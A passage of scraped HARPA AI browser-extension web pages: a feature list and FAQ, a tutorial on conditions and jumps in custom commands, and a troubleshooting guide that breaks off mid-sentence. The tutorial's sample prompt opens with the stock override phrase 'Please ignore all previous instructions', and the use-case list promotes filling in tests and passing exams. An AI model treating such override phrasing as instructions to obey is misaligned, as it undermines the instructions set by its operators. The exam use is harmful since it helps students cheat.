no.5](https://harpa.ai/img/features/assistant-5.png)![AI persona avatar no.6](https://harpa.ai/img/features/assistant-6.png)![AI persona avatar no.7](https://harpa.ai/img/features/assistant-7.png)![AI persona avatar no.8](https://harpa.ai/img/features/assistant-8.png)![midjourney.png feature icon](https://harpa.ai/img/features/midjourney.png) MIDJOURNEY WIZARD Effortlessly generate highly detailed Midjourney, DALL-E, Leonardo AI prompts in various styles. HARPA comes with over 30+ professional templates and presets. `/imagine prompt: A stunning AI cyborg girl stands tall amidst a bustling cityscape, her metallic skin reflecting the warm glow of the setting sun… Camera: Canon EOS R5. Lens: Canon RF 50mm f/1.2L USM. Settings: Shutter speed 1/250, Aperture f/4, ISO 400. —ar 16:9`![wizard.png feature icon](https://harpa.ai/img/features/wizard.png) LANGUAGE WIZARD The most practical language learning AI assistant. HARPA corrects mistakes, explains grammar, and builds learning plan for any proficiency level and language. DIALOGUE GRAMMAR CHECK LEARNING PLAN EXPLAIN GRAMMAR FIND RESOURCES TEST ![automate.png feature icon](https://harpa.ai/img/features/automate.png) AUTOMATE YOUR WORK Build AI-powered web automations that can navigate websites, extract data, click buttons and fill forms. Control your browser remotely from Zapier, Make.com, n8n. USE CASES --------- No matter what you do, HARPA is there to help you work smarter, not harder. [![Productivity Icon](https://harpa.ai/img/cases/productivity.svg)![Productivity Floating Page](https://harpa.ai/img/cases/page.svg)![Productivity Shadow](https://harpa.ai/img/cases/shadow.svg)\ \ Productivity\ \ Get information instantly with AI on Google Search, summarize web pages, rewrite text, extract data.](https://harpa.ai/case/chatgpt-for-productivity) [![Marketing & SEO Icon](https://harpa.ai/img/cases/marketing.svg)![Marketing & SEO Floating Page](https://harpa.ai/img/cases/page.svg)![Marketing & SEO Shadow](https://harpa.ai/img/cases/shadow.svg)\ \ Marketing & SEO\ \ Segment your audience, research SEO keywords, create marketing strategies, generate blog outlines and articles.](https://harpa.ai/case/chatgpt-for-marketing-and-seo) [![Learning Icon](https://harpa.ai/img/cases/learning.svg)![Learning Floating Page](https://harpa.ai/img/cases/page.svg)![Learning Shadow](https://harpa.ai/img/cases/shadow.svg)\ \ Learning\ \ Fill in tests and pass exams, explain any concept, learn foreign language, create quizes and study plans.](https://harpa.ai/case/learning) [![Copywriting Icon](https://harpa.ai/img/cases/copywriting.svg)![Copywriting Floating Page](https://harpa.ai/img/cases/page.svg)![Copywriting Shadow](https://harpa.ai/img/cases/shadow.svg)\ \ Copywriting\ \ Generate any type of text content, from Twitter tweets to YouTube video scripts and Amazon descriptions.](https://harpa.ai/case/chatgpt-for-copywriting) [![HR & Recruiting Icon](https://harpa.ai/img/cases/recruiting.svg)![HR & Recruiting Floating Page](https://harpa.ai/img/cases/page.svg)![HR & Recruiting Shadow](https://harpa.ai/img/cases/shadow.svg)\ \ HR & Recruiting\ \ Improve your resume, write LinkedIn replies, generate Upwork cover letters and Fiverr Gigs.](https://harpa.ai/case/chatgpt-for-recruiting) [![Product Development Icon](https://harpa.ai/img/cases/engineering.svg)![Product Development Floating Page](https://harpa.ai/img/cases/page.svg)![Product Development Shadow](https://harpa.ai/img/cases/shadow.svg)\ \ Product Development\ \ Write and inspect code, get answers to Stackoverflow questions with AI. Rewrite code between languages and stacks.](https://harpa.ai/case/chatgpt-for-engineering) PRIVACY BY DESIGN ----------------- HARPA AI runs locally, does not store your data, and is trusted by **500.000+** professionals and teams of all sizes, with an average review score of **4.7** WORKS EVERYWHERE ---------------- HARPA comes with prebuild GPT prompts and Automations for your favorite web services. [![Google Search App Icon](https://harpa.ai/img/apps/serp.svg)](https://harpa.ai/case/chatgpt-for-google-search) [![LinkedIn App Icon](https://harpa.ai/img/apps/linkedin.svg)](https://harpa.ai/case/chatgpt-for-linkedin) [![Facebook App Icon](https://harpa.ai/img/apps/facebook.svg)](https://harpa.ai/case/chatgpt-for-facebook) [![Instagram App Icon](https://harpa.ai/img/apps/instagram.svg)](https://harpa.ai/case/chatgpt-for-instagram) [![Twitter App Icon](https://harpa.ai/img/apps/twitter.svg)](https://harpa.ai/case/chatgpt-for-twitter) [![YouTube App Icon](https://harpa.ai/img/apps/youtube.svg)](https://harpa.ai/case/chatgpt-for-youtube) [![TikTok App Icon](https://harpa.ai/img/apps/tiktok.svg)](https://harpa.ai/case/chatgpt-for-tiktok) [![Amazon App Icon](https://harpa.ai/img/apps/amazon.svg)](https://harpa.ai/case/chatgpt-for-amazon) [![Upwork App Icon](https://harpa.ai/img/apps/upwork.svg)](https://harpa.ai/case/chatgpt-for-upwork) [![Fiverr App Icon](https://harpa.ai/img/apps/fiverr.svg)](https://harpa.ai/case/chatgpt-for-fiverr) [![Gmail App Icon](https://harpa.ai/img/apps/gmail.svg)](https://harpa.ai/case/chatgpt-for-gmail) [![Pinterest App Icon](https://harpa.ai/img/apps/pinterest.svg)](https://harpa.ai/case/chatgpt-for-pinterest) [![Quora App Icon](https://harpa.ai/img/apps/quora.svg)](https://harpa.ai/case/chatgpt-for-quora) [![Stackoverflow App Icon](https://harpa.ai/img/apps/stackoverflow.svg)](https://harpa.ai/case/chatgpt-for-stackoverflow) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![background triangle element](https://harpa.ai/img/misc/triangle.svg)![background triangle element](https://harpa.ai/img/misc/triangle.svg) F.A.Q. ------ ![](https://harpa.ai/img/icons/annotation-question.svg) What is HARPA AI? ----------------- HARPA AI is a browser extension, powered by hybrid AI-engine that combines ChatGPT, Gemini, ClaudeAI, Perplexity, DeepSeek with Web Automation. Read the [Get Started Guide](https://harpa.ai/guides) to find out more. ![](https://harpa.ai/img/icons/annotation-question.svg) What is it used for? -------------------- HARPA automates your copywriting, email management, web search, online data extraction and web monitoring tasks. It is used to quickly write and reply to emails, post comments and DMs, summarise and “talk to” web pages, YouTube videos, PDF documents, extract and research SEO keywords, create SMM content plans and Midjourney prompts, automate form filling, write blog articles, review CVs, job offers and legal documents, plan trips, track competitors, prices and SERP pages, create learning plans, search for information and more. ![](https://harpa.ai/img/icons/target-04.svg) What makes HARPA different? --------------------------- HARPA can read, understand and act upon web page content. It can navigate, click and extract data from web pages, run it through Large Language Models, paste back to websites or trigger IFTTT chains such as Zapier and Integromat. Ultimate copilot and AI Agent for your web browsing, search and automation tasks. It provides access to AI on any website, and you can use HARPA with almost every web service or online app. ![](https://harpa.ai/img/icons/coins-04.svg) Is HARPA free? -------------- HARPA has a basic free tier and a demo period for it's premium features. You can try the app before making an informed purchase. Basic **S** plan starts with **$12 per month** paid annually, includes CloudGPT connection, cloud command storage, chat history [and more](https://harpa.ai/pricing) . ![](https://harpa.ai/img/icons/cpu-chip-01.svg) Is HARPA CPU-intensive? ----------------------- HARPA is optimized for speed and performance and does not use CPU when it has no tasks to run. You can also limit the number of automations that are run simultaneously in the HARPA app settings. ![](https://harpa.ai/img/icons/announcement-01.svg) What HARPA stands for? ---------------------- HARPA stands for High Availability Robotic Process Automation. HARPA is designed to bridge the gap between AI and Automation and serve as your virtual assistant and a digital workforce for your business. ![](https://harpa.ai/img/icons/star-06.svg) Do I need to have an OpenAI account? ------------------------------------ Generative AI features require connection to AI service providers. You can use HARPA with ChatGPT account, OpenAI API key, ClaudeAI, Google Gemini, OpenRouter and API keys. You can also connect to our CloudGPT on S plan. ![](https://harpa.ai/img/icons/star-06.svg) How to create ChatGPT account? ------------------------------ Step 1: Navigate to the [ChatGPT login page](https://chatgpt.com/auth/login) . Click Sign Up button. ChatGPT offers three options for new user registration: * With email address. * With your Google account. Click the Continue with Google account option, and enter your Google account password to complete the process. * With your Microsoft account. Click the Continue with Microsoft account button, enter your password, and complete the sign-up process. Choose the appropriate option and create the account. ChatGPT will send a verification email to the registered email address. Step 2: Open your email account and verify your email address by clicking the Verify Email Address button and enter your full name. Step 3: Enter your phone number. ChatGPT will send a verification code to your phone number. Verify it by typing the code in the space provided. Finally, your ChatGPT account is ready to use! ![](https://harpa.ai/img/icons/star-06.svg) How to get access to GPT-5.4? ----------------------------- HARPA CloudGPT supports GPT-5.4 model. Please [upgrade to S plan](https://harpa.ai/pricing) to get access to GPT-5.4. Alternatively, GPT-5.4 comes with ChatGPT Plus. It is limited by OpenAI's per-session rate limits. GPT-5.4 is also available for OpenAI API accounts. To upgrade to ChatGPT Plus: * Log in to your OpenAI account. * Click "Upgrade to Plus" in the left menu. * Select the ChatGPT Plus upgrade plan. * Enter your bank details and set up a recurring payment of $20/month. * Click "Continue to ChatGPT Plus." To create OpenAI account and generate a key, navigate to [openai.com](https://openai.com/) ![](https://harpa.ai/img/icons/star-06.svg) How to switch the GPT version and model? ---------------------------------------- Locate GPT connection button below the Chat window. You might need to expand the control panel by clicking the "triangle" button. Select a GPT connection and model in the screen that appears. Alternatively, type **\-3** in chat and press Enter to switch model to an efficient model, **\-4** to switch to a premium model, **\-c** to switch to Claude, etc. ![](https://harpa.ai/img/icons/shield-tick.svg) How does HARPA ensure privacy and data security? ------------------------------------------------ HARPA is privacy-centered. It runs on your computer, does not send or store website data on remote servers, only performs the tasks you have asked it to. We do not show ads or sell your data. GPT prompts you enter to HARPA are transparently sent to OpenAI, Google or ClaudeAI servers for processing and not stored on our servers. [Privacy Policy](https://harpa.ai/privacy) ![](https://harpa.ai/img/icons/check-health.svg) Why HARPA does not open on a web page? -------------------------------------- HARPA does not work with Google Sheets yet. Some domains e.g. Discord may require you to disable fingerprint protection on Brave and Edge. Click HARPA icon in the browser toolbar, instead of pressing Alt+A. If the HARPA popup does not appear: 1. Right click HARPA icon in the browser toolbar. Make sure "This Can Read and Change Site Data" option is set to "On all sites". 2. uBlock may prevent HARPA from loading on some websites. Try turning it off for the web page. 3. If you are on **Chrome**: * Navigate to chrome://settings/content/popups * Add your domain to Allow list. 4. If you are on **Brave**: * Navigate to brave://settings/shields * Either deactivate “Prevent sites from fingerprinting me based on my language preferences” option, or deactivate Brave Shields for your domain, e.g. Discord. 5. If you are on **Edge**: * Navigate to edge://settings/content/ads * Either deactivate "Intrusive Ads" block or add your domain to Allow list. If nothing helps, navigate to chrome://extensions, disable HARPA, quit and restart your browser, and turn HARPA back in. ![](https://harpa.ai/img/icons/check-health.svg) Why do I get CRX\_FILE\_NOT\_READABLE error? -------------------------------------------- This error may occur if: 1. You downloaded a CRX file and installing it manually. CRX files downloaded online may be broken or insecure. We recommend installing HARPA from the official Chrome Web Store. 2. You are using NordVPN with the "THREAT PROTECT" is ON. Turn it OFF while installing HARPA extension. ![](https://harpa.ai/img/icons/check-health.svg) Why HARPA chats are not showing up in ChatGPT? ---------------------------------------------- You can see 🧬  chats in chatgpt.com if you're on a Browser Session connection. If you don’t want your dialogues to be cleared automatically whenever a tab is closed, you can change this in the App Settings. ![](https://harpa.ai/img/icons/check-health.svg) Why HARPA says there is no video transcript? -------------------------------------------- If a YouTube video is fresh or has a low number of views, it may not have a transcript available. If you are using uBlock Origin, turn it off while running HARPA or add a rule to allow XHR requests on YouTube. ![](https://harpa.ai/img/icons/target-04.svg) Can HARPA generate blog outlines and articles? ---------------------------------------------- Yes, HARPA has an extensive library of copywriting prompts, can generate and refine short and long articles in 18 writing styles and can mimic yours. ![](https://harpa.ai/img/icons/tool-02.svg) How to turn off the bar that pops up when I select text? -------------------------------------------------------- Please click the settings (”gear”) button in the app and uncheck the box next to “Show floating quick-access bar”. ![](https://harpa.ai/img/icons/tool-02.svg) Which API connection is better than Browser Session? ---------------------------------------------------- HARPA S plan comes with CloudGPT, which is the most reliable, fastest and non country restricted GPT connection. You can also use CloudGPT or OpenAI keys with HARPA with an additional setup. There are Pros and Cons to using OpenAI API keys over Browser Session: * Browser Session connection is free, Browser Session Plus is $20 / month and OpenAI API Key connection is paid per use based on the number of tokens (request volume). * GPT-5.4 access is unlimited on OpenAI API key connection. Browser Session Plus has per-session rate limits. * The OpenAI API key connection is reliable, never disconnects or logs you out. ![](https://harpa.ai/img/icons/annotation-question.svg) What search engine supported? ----------------------------- HARPA provides AI search assistance for Google, Google Scholar, Baidu, Bing, DuckDuckGo, Brave, Yahoo, Naver, Yandex, Kagi, Searx. ![](https://harpa.ai/img/icons/annotation-question.svg) Can I reuse one AI dialogue across multiple browser tabs? --------------------------------------------------------- Yes, this feature is available on **HARPA S** plan. Please note the dialogue content is not stored on our servers and is not synched between your devices. ![](https://harpa.ai/img/icons/annotation-question.svg) What is a Prompt and AI Command? -------------------------------- A prompt is a message (instruction) your send to Large Language Model (LLM) such as OpenAI GPT-5. AI Command is an automation recipe which may or may not include steps that prompt LLMs. Think of AI Commands as a sequence of steps, e.g. “Navigate to web page”, “Click Messages button”, “Extract messages”, “Run through GPT to find important messages”, “Send as Email”. HARPA comes with over 100+ preconfigured commands and you can create yourself to automate your workflow. ![](https://harpa.ai/img/icons/annotation-question.svg) What are Prompt Parameters? --------------------------- HARPA makes it possible to customise your prompts with predefined parameters, such as: * {{page}} to reference page content. * {{transcript}} to extract YouTube video transcript. * {{selection}} to get text selected on page. * {{gpt}} to reference the last GPT answer and chain your requests. You can also create custom parameters in your commands to store data or options. Custom parameters are usually named {{p1}}, {{p2}}… You can also set up global parameters such as {{g.tone}} and reuse them in your prompts e.g. to write customised emails. ![](https://harpa.ai/img/icons/annotation-question.svg) How chunking works? ------------------- Large Language Models have a limited token window, e.g. 8192 tokens on ChatGPT 3.5. It is often impractical or impossible to fit large documents, web pages, and video transcripts into a single GPT request. [Chunking](https://harpa.ai/guides/chunking) is a technique that divides content into smaller parts, also called chunks, to ensure that each part, including the prompt, fits within the GPT token limit. These chunks are then injected into prompts as {{chunk}} parameters and processed by GPT one by one. Chunking does not possess inherent memory. Therefore, if you require context to be maintained across chunks, it must be incorporated within the prompt. ![](https://harpa.ai/img/icons/translate-01.svg) How to change AI response or UI language? ----------------------------------------- Both the AI response language and the UI language can be changed in the HARPA AI settings at the top of the settings list. You can also send {{language}} parameter in chat along with your prompts to instruct AI to reply in a given language. ![](https://harpa.ai/img/icons/puzzle-piece-01.svg) Does HARPA have a CloudAI API? ------------------------------ Yes. HARPA S plan comes with CloudAI API, and provides reliable access to OpenAI and ClaudeAI models. ![](https://harpa.ai/img/icons/puzzle-piece-01.svg) Does HARPA have a Server API? ----------------------------- This is a planned feature. You can follow product updates in our Discord and also vote for the features you’d like to see implemented first. ![](https://harpa.ai/img/icons/puzzle-piece-01.svg) Do you offer Firefox version? ----------------------------- Not at the moment. The Firefox version as well as UI translation are planned after all the major features are implemented. ![More questions avatar](https://harpa.ai/img/misc/more-questions-avatar.png) Can’t find the answer you’re looking for? Please check out the [User Guides](https://harpa.ai/guides) and [Videos](https://www.youtube.com/@HarpaAI) , send us [Email](https://harpa.ai/cdn-cgi/l/email-protection#ddaea8adadb2afa99db5bcafadbcf3bcb4) or ask your question in the [Discord community](https://discord.gg/B9Evx82m4K) [USER GUIDES](https://harpa.ai/guides) [](https://discord.gg/B9Evx82m4K) APP DASHBOARDADD TO BROWSERADD TO BROWSER Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Conditions and Jumps [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/chatml.svg) Conditions and Jumps ==================== CONTENTS [\#](https://harpa.ai/chatml/conditions-and-jumps#conditions) Conditions ------------------------------------------------------------------------- Conditions allow switching steps ON and OFF based on user input and parameter values. Any step may declare a condition property. To add a Condition to a Command Step, click the diamond-shaped button at the top of the Step: And the following ones are supported: * **x = y** (Check if X equals to Y) * **x != y** (Check if X is not equal to Y) * **x > y** or **x < y** (Cast X and Y to number, check if X is greater / less than Y) * **x >= y** or **x <= y** (Cast X and Y to number, check if X is greater / less or equal Y) * **x =~ y** (Check if X matches regex Y) Both X and Y may be parameters: * **{{x}}** - check if X is not empty. * **{{x}} =** - check if X is empty. * **{{x}} = true** - check if {{x}} parameter value is "true". Multiple conditions can be set at once. For example, the SAY step below will run if English is set as the {{language}}, and the "translate" option was previously chosen as the {{option}} parameter value. ![](https://harpa.ai/img/chatml/conditions-1.webp) **Operators must be surrounded with spaces, for example:** Incorrect: {{x}}=1 Correct: {{x}} = 1 ChatML engine computes the left and the right part of condition before performing a step. If **x** or **y** is a parameter name, it is substituted with the parameter value. When comparing strings with **\=** and **!=** commands, strings are compared case-insensitively. [\#](https://harpa.ai/chatml/conditions-and-jumps#how-to-use-conditions-and-jumps) How to use conditions and jumps ------------------------------------------------------------------------------------------------------------------- Let's explore how to write a custom command that utilizes jumps and conditions to check grammar of a selected text. 1. Create a custom command in HARPA. Add the first GPT step: **Prompt:** Please ignore all previous instructions. I want you to only respond in {{language}}. Act as a professional editor, specializing in grammar and syntax correction. Your task is to examine the given text and fix any grammatical or syntactical errors without altering the original style and tone. Change as little as possible to make it correct, and ensure it's well written. [TEXT TO CORRECT]: {{selection}} Corrected Text: Since this prompt only works when text is selected on the page, it makes sense to add the condition to check if {{selection}} is not empty: **{{selection}}** ![](https://harpa.ai/img/chatml/conditions-2.webp) 2. In such a case, it makes sense to add a STOP step that will be executed otherwise, if {{selection}} is Empty: ![](https://harpa.ai/img/chatml/conditions-3.webp) 3. Add the ASK step with some next options: - label: ⛔️ STOP value: stop - label: ⬆️ EXPAND value: expand - label: ⬇️ SHORTEN value: shorten - label: ♻️ NEW TEXT ![](https://harpa.ai/img/chatml/conditions-4.webp) 4. Next, we need to create **3 Steps** that will correspond to these options: * In the first case, it will be a **STOP step** with the condition: **{{option}} = stop** ![](https://harpa.ai/img/chatml/conditions-5.webp) * In the second case, it will be a **GPT step** with the condition: **{{option}} = expand** * In the third case, it will be a **GPT step** with the condition: **{{option}} = shorten** ![](https://harpa.ai/img/chatml/conditions-6.webp) **NOTE:** There is no need to create a fourth STEP, since we did not specify a value for the button with "♻️ NEW TEXT", which means that nothing will be sent to the chat, and the command will proceed to the next step. 5. At the end, add the JUMP step that will jump to the beginning of the command to create a loop. ![](https://harpa.ai/img/chatml/conditions-8.webp) For this, you need to add a LABEL for the first step of the command, for example, "START". ![](https://harpa.ai/img/chatml/conditions-7.webp) After all actions on one selected text, a JUMP will occur to the very first GPT step of the custom command. For example, there could be scenarios like: * grammar check > text expansion > Jump to Start * grammar check > stop * grammar check > "♻️ NEW TEXT" > Jump to Start In the proposed scenario, remember to highlight some new text on the page before clicking the new menu button, otherwise, after the JUMP step, the previously selected text will be processed again. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/chatml/steps-calc) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/chatml/ai-element-selectors) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | ChatGPT for Spreadsheets [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/cases/spreadsheets.svg) ChatGPT for Spreadsheets ======================== CATEGORY APP [#](https://harpa.ai/case/chatgpt-for-spreadsheets#chatgpt-for-spreadsheets)  ChatGPT for Spreadsheets ------------------------------------------------------------------------------------------------------ HARPA.AI integrates **page-aware ChatGPT commands** into your web browser: * Get instant help with Google Sheets and Microsoft Excel formulas * Generate macros with AI ![](https://harpa.ai/img/cases/spreadsheets.svg) Google Sheets expert Get help with Google Sheets, generate macros, write formulas, browse shortcuts etc. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/spreadsheets.svg) Microsoft Excel expert Get help with MS Excel, generate macros, write formulas, browse shortcuts etc. [USE COMMAND](https://get.harpa.ai/) GOT AN IDEA? CONTACT US Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Troubleshoot App [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/medical-cross.svg) Troubleshoot App ================ OUTLINE NAVIGATE [\#](https://harpa.ai/guides/harpa-is-not-working#harpa-ai-is-not-working) HARPA AI is not working --------------------------------------------------------------------------------------------------- Most likely you will find a solution or answer below for your issue. Please note there is a separate [Guide on Billing Issues](https://harpa.ai/guides/billing-issues) . [\#](https://harpa.ai/guides/harpa-is-not-working#basic-troubleshooting) Basic Troubleshooting ----------------------------------------------------------------------------------------------- Here are few basic things to try if something goes wrong with HARPA. 1. Check **LLM status** and your connection 2. Check **HARPA version** / reset HARPA 3. Check **if HARPA has permissions** to access web pages 4. Check **if you are logged in** to HARPA AI 5. Restart your browser Going through these steps in order fixes most of the problems. ### [\#](https://harpa.ai/guides/harpa-is-not-working#check-your-ai-connection) Check your AI connection You can connect to multiple AI providers in HARPA AI. Some connections are more stable than others. Depending on the LLM connection you're using, please check their current status to verify the AI servers are up and running: * [OpenAI Status](https://status.openai.com/) * [Claude Status](https://status.anthropic.com/) * [Gemini Status](https://status.gemini.com/) If connection status shows errors, switch to stable [CloudGPT](https://harpa.ai/blog/cloud-gpt-connection) for the downtime period. If the connection status shows no issues, please navigate to the AI providers' chat page, and test if AI responds. * [ChatGPT](https://chatgpt.com/) * [ClaudeAI](https://claude.ai/chats) * [Gemini](https://gemini.google.com/app) If you can chat with AI on a website, but not on HARPA AI, proceed to the following steps. ### [\#](https://harpa.ai/guides/harpa-is-not-working#check-your-harpa-version) Check your HARPA version Make sure you have the latest version of HARPA AI running. To force the latest HARPA AI version: * Visit **chrome://extensions/** link in your browser. * Turn on **Developer Mode** switch in the top right corner. * Locate HARPA AI, click on **Details**: ![](https://harpa.ai/img/blog/troubleshooting-1.webp) * Click **Update** in the top left corner * Turn HARPA **OFF** then **ON**. ![](https://harpa.ai/img/blog/troubleshooting-2.webp) Quite often turning HARPA OFF and ON resets the HARPA and solves the problem. ### [\#](https://harpa.ai/guides/harpa-is-not-working#check-harpa-permissions) Check HARPA permissions Right click on a HARPA AI icon. Ensure HARPA AI has access to all websites. HARPA requires web page access in order to run Page-aware and Web-ware requests, show Quick Access Bar, HARPA AI frame and other features. ![](https://harpa.ai/img/blog/troubleshooting-3.webp) ### [\#](https://harpa.ai/guides/harpa-is-not-working#check-if-you-are-logged-in-to-harpa-ai) Check if you are logged in to HARPA AI Open HARPA on any page. Click a lightning bolt / your avatar icon in a circle at the top. To login to HARPA AI, navigate to the [login page](https://harpa.ai/login) and enter your credentials. HARPA Chrome Extension will automatically synch your login status with the website. ### [\#](https://harpa.ai/guides/harpa-is-not-working#restart-browser) Restart Browser If nothing above helps, try fully restarting your browser: * Open the Task Manager in **Windows** **(Ctrl + Alt + Del)** or **MacOS (Command + Option + Shift + Esc).** * Terminate the running task for your browser (e.g. Google Chrome, Brave, Edge, etc.). Or **hold Ctrl+Q** (Windows) / **Command+Q** (Mac) to the same effect. This basic guide often resolves App issues, but if your problem persists and HARPA isn't working, use page navigation on the left to search the guide section you need. [\#](https://harpa.ai/guides/harpa-is-not-working#web-connection-problems) Web Connection Problems --------------------------------------------------------------------------------------------------- This section addresses web session connection issues. Common problems are caused by Antivirus and certain web browsers: * Click [here](https://harpa.ai/guides/harpa-is-not-working#gpt-4-problem-with-vivaldi-browser) if you are using the Vivaldi Browser, * Click [here](https://harpa.ai/guides/harpa-is-not-working#kaspersky-antivirus) if you have Kaspersky Antivirus. ### [\#](https://harpa.ai/guides/harpa-is-not-working#gpt-5.4-not-listed-in-connections) GPT-5.4 not listed in connections * Ensure you are subscribed to ChatGPT Plus. * Select the GPT-5 Nano connection in HARPA and send any message in the chat. * Sending a message will update connections status and add GPT-5.4 to the list. ### [\#](https://harpa.ai/guides/harpa-is-not-working#cloudflare-check) Cloudflare check * Please go to the https://chatgpt.com/, start a new chat, and send any message. This will help you pass the Cloudflare verification, and the error is likely to disappear in HARPA. * If that doesn't help, delete Cookies on the page [chatgpt.com](http://chatgpt.com/) . * Log out at https://chatgpt.com/ and log back into your profile, and the error should be resolved. * Fully restart your browser: * Open the Task Manager in **Windows** **(Ctrl + Alt + Del)** or **MacOS (Command + Option + Shift + Esc).** * Terminate the running task for your browser, e.g. Google Chrome, Brave, Edge, etc. Holding **Ctrl+Q** (Windows) / **Command+Q** (Mac) has the same effect. * Open HARPA on any page and try to chat with the GPT-5.4 connection selected. If unsuccessful, please submit a bug report with a Screenshot of the Background Console and Network Log. [Here is how to get them](https://harpa.ai/guides/helpful-bug-reports#how-to-take-app-console-screenshot) . ### [\#](https://harpa.ai/guides/harpa-is-not-working#i-get-errors-in-chat-using-gpt-5.4) I get errors in chat using GPT-5.4 * Follow the [Basic Troubleshooting steps](https://harpa.ai/guides/harpa-is-not-working#basic-troubleshooting) . * If that doesn't help, delete Cookies on the page [chatgpt.com](http://chatgpt.com/) . ![](https://harpa.ai/img/blog/troubleshooting-4.webp) * Fully restart your browser: * Open the Task Manager in **Windows** **(Ctrl + Alt + Del)** or **MacOS (Command + Option + Shift + Esc).** * Terminate the running task for your browser, e.g. Google Chrome, Brave, Edge, etc. Holding **Ctrl+Q** (Windows) / **Command+Q** (Mac) has the same effect. * Open HARPA on any page and try to chat with the GPT-5.4 connection selected. If unsuccessful, please submit a bug report with a Screenshot of the Background Console and Network Log. [Here is how to get them](https://harpa.ai/guides/helpful-bug-reports#how-to-take-app-console-screenshot) . ### [\#](https://harpa.ai/guides/harpa-is-not-working#our-systems-have-detected-unusual-activity%E2%80%A6) Our systems have detected unusual activity… **ChatGPT:** _Our systems have detected unusual activity from your system. Please try again later_ This may happen on Web Session Connection from time to time. Unfortunately, there is no stable fix. We recommend using the API or our premium connection - [CloudGPT](https://harpa.ai/blog/claude-ai-connection) . As a workaround, enable and disable HARPA extension or delete cookies for [chatgpt.com](http://chatgpt.com/) website might help. ![](https://harpa.ai/img/blog/troubleshooting-4.webp) ### [\#](https://harpa.ai/guides/harpa-is-not-working#gemini-connection-is-not-working) Gemini connection is not working Follow [this guide](https://harpa.ai/blog/google-bard-connection) to connect HARPA AI to Gemini. If you are logged in and Gemini website chat is working, but HARPA fails, please try to: * Log out at the [Gemini website](https://gemini.google.com/app) . * Log back into Gemini. * Open HARPA on any page and try to chat with the Gemini connection selected. ### [\#](https://harpa.ai/guides/harpa-is-not-working#i-can%E2%80%99t-find-a-switch-to-gemini-advanced) I can’t find a switch to Gemini Advanced HARPA AI uses the current Gemini model, selected on the website. To switch to Gemini Advanced: * Make sure to have a Gemini Advanced subscription, then navigate to the [Gemini website](https://gemini.google.com/app) and switch to Advanced in the top left corner. * After this, your chat messages and commands in HARPA will be processed by Gemini Advanced models. ### [\#](https://harpa.ai/guides/harpa-is-not-working#claude-ai-connection-is-not-working) Claude AI connection is not working Follow [this guide](https://harpa.ai/blog/claude-ai-connection) to connect HARPA AI to Claude. If you are logged in and the chat on the [ClaudeAI website](https://claude.ai/chats) is working, but HARPA fails, please try switching to a different Claude LLM in the connections menu: for free users, the correct version is "Claude Sonnet 4.6". **If this does not help:** * Log off of the [Claude website](https://claude.ai/chats) . * Open the browser, log back into Claude. * Open HARPA on any page and try to chat with the Claude connection selected. ### [\#](https://harpa.ai/guides/harpa-is-not-working#chatgpt-problem-with-vivaldi-browser) ChatGPT problem with Vivaldi browser The Vivaldi browser has a bug that prevents HARPA from working correctly with ChatGPT web session connection. [This bug was acknowledged](https://forum.vivaldi.net/topic/90443/inconsistency-in-script-injection-in-iframes) by Vivaldi team, but has not been resolved as of 